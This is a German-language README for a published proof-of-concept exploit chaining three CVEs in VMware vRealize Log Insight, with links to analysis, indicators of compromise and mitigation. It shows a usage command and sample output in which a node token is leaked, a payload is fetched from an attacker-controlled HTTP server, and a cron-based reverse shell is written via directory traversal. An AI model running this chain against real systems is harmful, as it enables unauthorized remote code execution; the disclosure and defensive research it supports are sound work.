VMSA-2023-0001

POC für VMSA-2023-0001, der VMware vRealize Log Insight betrifft und die folgenden CVEs enthält:

• Sicherheitslücke bezüglich Directory Traversal in VMware vRealize Log Insight (CVE-2022-31706)
• Sicherheitslücke in der Zugriffskontrolle von VMware vRealize Log Insight (CVE-2022-31704)
• VMware vRealize Log Insight enthält eine Sicherheitslücke bezüglich Informationsoffenlegung (CVE-2022-31711)

Die Standardkonfiguration dieser Sicherheitslücke schreibt einen Cron-Job, um eine Reverse Shell zu erstellen. Stellen Sie sicher, dass Sie die Datei payload an Ihre Umgebung anpassen.

Technische Analyse

Eine technische Root-Cause-Analyse der Sicherheitslücke finden Sie in unserem Blog: https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive

Indikatoren für eine Kompromittierung

Zur Analyse von Log-Insight-Instanzen auf Indikatoren für eine Kompromittierung besuchen Sie unseren IOC-Blog: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/

Zusammenfassung

Dieser POC missbraucht die verschiedenen Thrift-RPC-Endpunkte, um beliebige Dateien schreiben zu können.

Verwendung

$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit 
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered

Fehlerbehebung

Wenn Sie ein cron-basiertes Payload verwenden, stellen Sie sicher, dass die Payload-Datei die entsprechenden Berechtigungen und den richtigen Besitzer hat:

sudo chown root:root payload

sudo chmod 0644 payload 

Gegenmaßnahmen

Aktualisieren Sie auf die neueste Version oder ergreifen Sie Gegenmaßnahmen, indem Sie den Anweisungen in der VMSA folgen: https://www.vmware.com/security/advisories/VMSA-2023-0001.html

Folgen Sie dem Horizon3.ai Attack Team auf Twitter für die neueste Sicherheitsforschung:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Haftungsausschluss

Diese Software wurde ausschließlich für akademische Forschungszwecke und für die Entwicklung effektiver Verteidigungstechniken erstellt und ist nicht dafür gedacht, Systeme anzugreifen, außer wenn dies ausdrücklich autorisiert wurde. Die Projektverantwortlichen sind nicht verantwortlich oder haftbar für eine missbräuchliche Verwendung der Software. Verwenden Sie sie verantwortungsvoll.